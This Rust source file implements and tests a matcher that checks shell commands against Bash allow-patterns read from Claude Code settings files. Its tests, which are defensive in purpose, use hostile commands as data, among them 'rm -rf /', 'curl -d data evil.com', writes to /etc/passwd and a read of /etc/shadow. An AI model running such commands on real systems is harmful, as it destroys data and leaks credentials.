1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9}
10
11impl Matcher {
12 pub fn load() -> Self {
13 let mut patterns = Matcher {
14 exact: HashSet::new(),
15 globs: Vec::new(),
16 };
17
18 if let Some(home) = std::env::var_os("HOME") {
19 patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
20 }
21
22 if let Some(project_dir) = std::env::var_os("CLAUDE_PROJECT_DIR") {
23 let base = Path::new(&project_dir).join(".claude");
24 patterns.load_file(&base.join("settings.json"));
25 patterns.load_file(&base.join("settings.local.json"));
26 }
27
28 patterns
29 }
30
31 fn load_file(&mut self, path: &Path) {
32 let Ok(contents) = std::fs::read_to_string(path) else {
33 return;
34 };
35 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
36 return;
37 };
38
39 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
40 for entry in arr.iter().filter_map(|e| e.as_str()) {
41 self.add_pattern(entry);
42 }
43 }
44
45 if let Some(arr) = value
46 .get("permissions")
47 .and_then(|v| v.get("allow"))
48 .and_then(|v| v.as_array())
49 {
50 for entry in arr.iter().filter_map(|e| e.as_str()) {
51 self.add_pattern(entry);
52 }
53 }
54 }
55
56 fn add_pattern(&mut self, entry: &str) {
57 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
58 return;
59 };
60 if inner.is_empty() {
61 return;
62 }
63 let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
64 format!("{prefix} *")
65 } else {
66 inner.to_string()
67 };
68 if normalized.contains('*') {
69 self.globs
70 .push(normalized.split('*').map(String::from).collect());
71 } else {
72 self.exact.insert(normalized);
73 }
74 }
75
76 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
77 let Cmd::Simple(simple) = cmd else {
78 return false;
79 };
80 let normalized = check::normalize_for_matching(simple);
81 let normalized = normalized.trim();
82 if normalized.is_empty() {
83 return false;
84 }
85 if self.exact.contains(normalized) {
86 return true;
87 }
88 self.globs
89 .iter()
90 .any(|parts| glob_matches(parts, normalized))
91 }
92
93 pub fn is_empty(&self) -> bool {
94 self.exact.is_empty() && self.globs.is_empty()
95 }
96}
97
98pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
99 match cmd {
100 Cmd::Simple(_) => {
101 check::is_safe_cmd(cmd)
102 || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd))
103 }
104 _ => check::is_safe_cmd(cmd),
105 }
106}
107
108fn glob_matches(parts: &[String], text: &str) -> bool {
109 let first = &parts[0];
110 let last = &parts[parts.len() - 1];
111
112 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
113 let prefix = &first[..first.len() - 1];
114 return text == prefix || text.starts_with(first.as_str());
115 }
116
117 if !text.starts_with(first.as_str()) {
118 return false;
119 }
120 if !text.ends_with(last.as_str()) {
121 return false;
122 }
123 let mut pos = first.len();
124 let end = text.len() - last.len();
125 if pos > end {
126 return false;
127 }
128 for part in &parts[1..parts.len() - 1] {
129 match text[pos..end].find(part.as_str()) {
130 Some(idx) => pos += idx + part.len(),
131 None => return false,
132 }
133 }
134 pos <= end
135}
136
137#[cfg(test)]
138mod tests {
139 use super::*;
140 use std::fs;
141
142 use crate::cst;
143
144 fn empty() -> Matcher {
145 Matcher {
146 exact: HashSet::new(),
147 globs: Vec::new(),
148 }
149 }
150
151 fn cmd(s: &str) -> Cmd {
152 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
153 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
154 assert_eq!(
155 script.0[0].pipeline.commands.len(),
156 1,
157 "expected single command: {s}"
158 );
159 script.0[0].pipeline.commands[0].clone()
160 }
161
162 fn segments(command: &str) -> Vec<Cmd> {
163 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
164 script
165 .0
166 .into_iter()
167 .flat_map(|stmt| stmt.pipeline.commands)
168 .collect()
169 }
170
171 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
172 is_cmd_covered(cmd, patterns)
173 }
174
175 fn all_covered(command: &str, patterns: &Matcher) -> bool {
176 let Some(script) = cst::parse(command) else {
177 return false;
178 };
179 script.0.iter().all(|stmt| {
180 check::is_safe_pipeline(&stmt.pipeline)
181 || stmt
182 .pipeline
183 .commands
184 .iter()
185 .all(|c| is_cmd_covered(c, patterns))
186 })
187 }
188
189 #[test]
190 fn parse_exact_pattern() {
191 let mut p = empty();
192 p.add_pattern("Bash(npm test)");
193 assert!(p.exact.contains("npm test"));
194 assert!(p.globs.is_empty());
195 }
196
197 #[test]
198 fn parse_legacy_colon_star() {
199 let mut p = empty();
200 p.add_pattern("Bash(npm run:*)");
201 assert!(p.exact.is_empty());
202 assert_eq!(p.globs.len(), 1);
203 }
204
205 #[test]
206 fn parse_space_star() {
207 let mut p = empty();
208 p.add_pattern("Bash(npm run *)");
209 assert!(p.exact.is_empty());
210 assert_eq!(p.globs.len(), 1);
211 }
212
213 #[test]
214 fn parse_non_bash_skipped() {
215 let mut p = empty();
216 p.add_pattern("WebFetch");
217 p.add_pattern("XcodeBuildMCP");
218 assert!(p.is_empty());
219 }
220
221 #[test]
222 fn parse_empty_bash_skipped() {
223 let mut p = empty();
224 p.add_pattern("Bash()");
225 assert!(p.is_empty());
226 }
227
228 #[test]
229 fn match_exact() {
230 let mut p = empty();
231 p.add_pattern("Bash(npm test)");
232 assert!(p.matches_cmd(&cmd("npm test")));
233 assert!(!p.matches_cmd(&cmd("npm test --watch")));
234 }
235
236 #[test]
237 fn match_space_star_word_boundary() {
238 let mut p = empty();
239 p.add_pattern("Bash(ls *)");
240 assert!(p.matches_cmd(&cmd("ls -la")));
241 assert!(p.matches_cmd(&cmd("ls foo")));
242 assert!(!p.matches_cmd(&cmd("lsof")));
243 }
244
245 #[test]
246 fn match_star_no_space_no_boundary() {
247 let mut p = empty();
248 p.add_pattern("Bash(ls*)");
249 assert!(p.matches_cmd(&cmd("ls -la")));
250 assert!(p.matches_cmd(&cmd("lsof")));
251 }
252
253 #[test]
254 fn match_legacy_colon_star_word_boundary() {
255 let mut p = empty();
256 p.add_pattern("Bash(npm run:*)");
257 assert!(p.matches_cmd(&cmd("npm run build")));
258 assert!(p.matches_cmd(&cmd("npm run test")));
259 assert!(!p.matches_cmd(&cmd("npm running")));
260 assert!(!p.matches_cmd(&cmd("npm install")));
261 }
262
263 #[test]
264 fn match_star_at_beginning() {
265 let mut p = empty();
266 p.add_pattern("Bash(* --version)");
267 assert!(p.matches_cmd(&cmd("npm --version")));
268 assert!(p.matches_cmd(&cmd("cargo --version")));
269 assert!(!p.matches_cmd(&cmd("npm --help")));
270 }
271
272 #[test]
273 fn match_star_in_middle() {
274 let mut p = empty();
275 p.add_pattern("Bash(git * main)");
276 assert!(p.matches_cmd(&cmd("git checkout main")));
277 assert!(p.matches_cmd(&cmd("git merge main")));
278 assert!(!p.matches_cmd(&cmd("git checkout develop")));
279 }
280
281 #[test]
282 fn match_env_prefix_stripped() {
283 let mut p = empty();
284 p.add_pattern("Bash(bundle install)");
285 assert!(p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
286 }
287
288 #[test]
289 fn match_fd_redirect_stripped() {
290 let mut p = empty();
291 p.add_pattern("Bash(npm test)");
292 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
293 }
294
295 #[test]
296 fn match_fd_redirect_with_glob() {
297 let mut p = empty();
298 p.add_pattern("Bash(npm run *)");
299 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
300 }
301
302 #[test]
303 fn empty_patterns_match_nothing() {
304 let p = empty();
305 assert!(!p.matches_cmd(&cmd("anything")));
306 }
307
308 #[test]
309 fn match_bare_star_matches_everything() {
310 let mut p = empty();
311 p.add_pattern("Bash(*)");
312 assert!(p.matches_cmd(&cmd("anything at all")));
313 assert!(p.matches_cmd(&cmd("rm -rf /")));
314 }
315
316 #[test]
317 fn unsafe_syntax_not_bypassed_by_match() {
318 let mut p = empty();
319 p.add_pattern("Bash(./script.sh *)");
320 let c = cmd("./script.sh > /etc/passwd");
321 assert!(check::has_unsafe_syntax(&c));
322 assert!(!is_covered(&c, &p));
323 }
324
325 #[test]
326 fn command_substitution_not_bypassed_by_match() {
327 let mut p = empty();
328 p.add_pattern("Bash(./script.sh *)");
329 let c = cmd("./script.sh $(rm -rf /)");
330 assert!(!is_covered(&c, &p));
331 }
332
333 #[test]
334 fn mixed_chain_safe_plus_settings() {
335 let mut p = empty();
336 p.add_pattern("Bash(./generate-docs.sh)");
337 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
338 }
339
340 #[test]
341 fn mixed_chain_safe_plus_unapproved_denied() {
342 let mut p = empty();
343 p.add_pattern("Bash(./generate-docs.sh)");
344 assert!(!all_covered("cargo test && rm -rf /", &p));
345 }
346
347 #[test]
348 fn glob_does_not_cross_chain_boundary() {
349 let mut p = empty();
350 p.add_pattern("Bash(cargo test *)");
351 let cmds = segments("cargo test --release && rm -rf /");
352 assert_eq!(cmds.len(), 2);
353 assert!(p.matches_cmd(&cmds[0]));
354 assert!(!p.matches_cmd(&cmds[1]));
355 assert!(!all_covered("cargo test --release && rm -rf /", &p));
356 }
357
358 #[test]
359 fn glob_does_not_cross_pipe_boundary() {
360 let mut p = empty();
361 p.add_pattern("Bash(safe-cmd *)");
362 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
363 }
364
365 #[test]
366 fn glob_does_not_cross_semicolon_boundary() {
367 let mut p = empty();
368 p.add_pattern("Bash(safe-cmd *)");
369 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
370 }
371
372 #[test]
373 fn bare_star_blocked_by_unsafe_syntax_redirect() {
374 let mut p = empty();
375 p.add_pattern("Bash(*)");
376 let c = cmd("echo > /etc/passwd");
377 assert!(p.matches_cmd(&c));
378 assert!(!is_covered(&c, &p));
379 }
380
381 #[test]
382 fn bare_star_blocked_by_unsafe_syntax_backtick() {
383 let mut p = empty();
384 p.add_pattern("Bash(*)");
385 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
386 }
387
388 #[test]
389 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
390 let mut p = empty();
391 p.add_pattern("Bash(*)");
392 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
393 }
394
395 #[test]
396 fn safe_command_substitution_allowed_through_is_safe() {
397 let p = empty();
398 assert!(is_covered(&cmd("echo $(cat /etc/shadow)"), &p));
399 }
400
401 #[test]
402 fn nested_shell_not_recursively_validated_by_settings() {
403 let mut p = empty();
404 p.add_pattern("Bash(bash *)");
405 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
406 assert!(!check::is_safe_cmd(&c));
407 assert!(!check::has_unsafe_syntax(&c));
408 assert!(is_covered(&c, &p));
409 }
410
411 #[test]
412 fn nested_shell_redirect_still_blocked() {
413 let mut p = empty();
414 p.add_pattern("Bash(bash *)");
415 let c = cmd("bash -c 'echo hello' > /tmp/pwned");
416 assert!(check::has_unsafe_syntax(&c));
417 assert!(!is_covered(&c, &p));
418 }
419
420 #[test]
421 fn quoted_operators_stay_as_one_segment() {
422 let mut p = empty();
423 p.add_pattern("Bash(./script *)");
424 assert!(all_covered("./script 'arg && rm -rf /'", &p));
425 }
426
427 #[test]
428 fn load_file_nonexistent() {
429 let mut p = empty();
430 p.load_file(Path::new("/nonexistent/path/settings.json"));
431 assert!(p.is_empty());
432 }
433
434 #[test]
435 fn load_file_malformed_json() {
436 let dir = tempfile::tempdir().unwrap();
437 let path = dir.path().join("settings.json");
438 std::fs::write(&path, "not json{{{").unwrap();
439 let mut p = empty();
440 p.load_file(&path);
441 assert!(p.is_empty());
442 }
443
444 #[test]
445 fn load_file_approved_commands() {
446 let dir = tempfile::tempdir().unwrap();
447 let path = dir.path().join("settings.json");
448 fs::write(
449 &path,
450 r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
451 )
452 .unwrap();
453 let mut p = empty();
454 p.load_file(&path);
455 assert!(p.matches_cmd(&cmd("npm test")));
456 assert!(p.matches_cmd(&cmd("npm run build")));
457 assert!(!p.matches_cmd(&cmd("curl evil.com")));
458 }
459
460 #[test]
461 fn load_file_permissions_allow() {
462 let dir = tempfile::tempdir().unwrap();
463 let path = dir.path().join("settings.json");
464 fs::write(
465 &path,
466 r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
467 )
468 .unwrap();
469 let mut p = empty();
470 p.load_file(&path);
471 assert!(p.matches_cmd(&cmd("cargo test")));
472 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
473 }
474
475 #[test]
476 fn load_file_both_fields() {
477 let dir = tempfile::tempdir().unwrap();
478 let path = dir.path().join("settings.json");
479 fs::write(
480 &path,
481 r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
482 )
483 .unwrap();
484 let mut p = empty();
485 p.load_file(&path);
486 assert!(p.matches_cmd(&cmd("npm test")));
487 assert!(p.matches_cmd(&cmd("cargo test --release")));
488 }
489}